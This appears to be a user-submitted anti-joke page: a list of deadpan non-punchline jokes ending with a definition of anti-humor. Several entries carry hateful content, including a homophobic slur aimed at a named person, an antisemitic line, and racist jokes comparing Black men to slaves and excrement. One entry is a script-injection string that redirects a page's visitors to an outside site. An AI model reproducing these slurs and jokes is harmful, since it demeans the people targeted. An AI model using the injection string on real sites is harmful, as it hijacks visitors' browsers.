Why did Sarah fall off the swings? Because she had no arms.... Knock, Knock, Who's there?: Not Sarah

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Daniel is a fag

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Why is six afraid of seven? Because seven killed off his entire family.

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Why did the guy eat pizza? Because he likes pizza.

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Mike: Johnny pass me the sauce Johnny: I can't pass you the sauce Mike: Johnny pass me the sauce Johnny: I can't pass you the sauce Johnny could pass Mike the sauce as he has no arms and Mike kept on asking as he has short onset alzheimer's.

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5 Jewish men walk into a bar and are expected to be treated nicely

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What did the rat say to the dog? Nothing, he is a rat and therefore incapable of speech.

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What do you get when you cross a black man and an octopus? I don't know, but it sure would pick a lot of cotton.

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Why was the black man unemployed and in debt? Because current socio-economic realities and systematic racial discrimination place him at a disadvantage in terms of education and employment. Indeed, it is statistically probable that he was raised below the poverty-line, greatly limiting his opportunities from a young age.

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what is the difference between a black man and a bucket of shit? The bucket.

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Why can't you fit 100 oranges in a bathtub? Because motorcycles don't have doors

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"'>document.location.href="http://cramik.org"

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what is the opposite of 2x +3x?

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WELCOME TO THE GARLIC BOYS SHOW! So kids, what are we gonna eat today? POTATOES! FUUUUUUU! Moral: You say tomata, I say WROOOOOOOONG, you say cheap I say your mother.

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yo mamas so ugly.... everyone died. the end.

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What do you call an orange fruit? An Orange.

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Knock knock Who's there Your Mother Come in

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Roses are red Violets are purple, and anyone who tells you otherwise is wrong.

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There was an old lady who swallowed a fly. But everything turned out alright, as the fly was dissolved by stomach acid.

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why wuz 6 afraid of 7 7 had a gun

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A mother and her child run into the store... The mother opens the door, so the child does not run into the store again.

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i should have been sad when my flashlight died.... but i was delighted.

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There were three men standing outside. They were enjoying the nice weather.

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Q:What did the duck say to the other duck A:We are both ducks

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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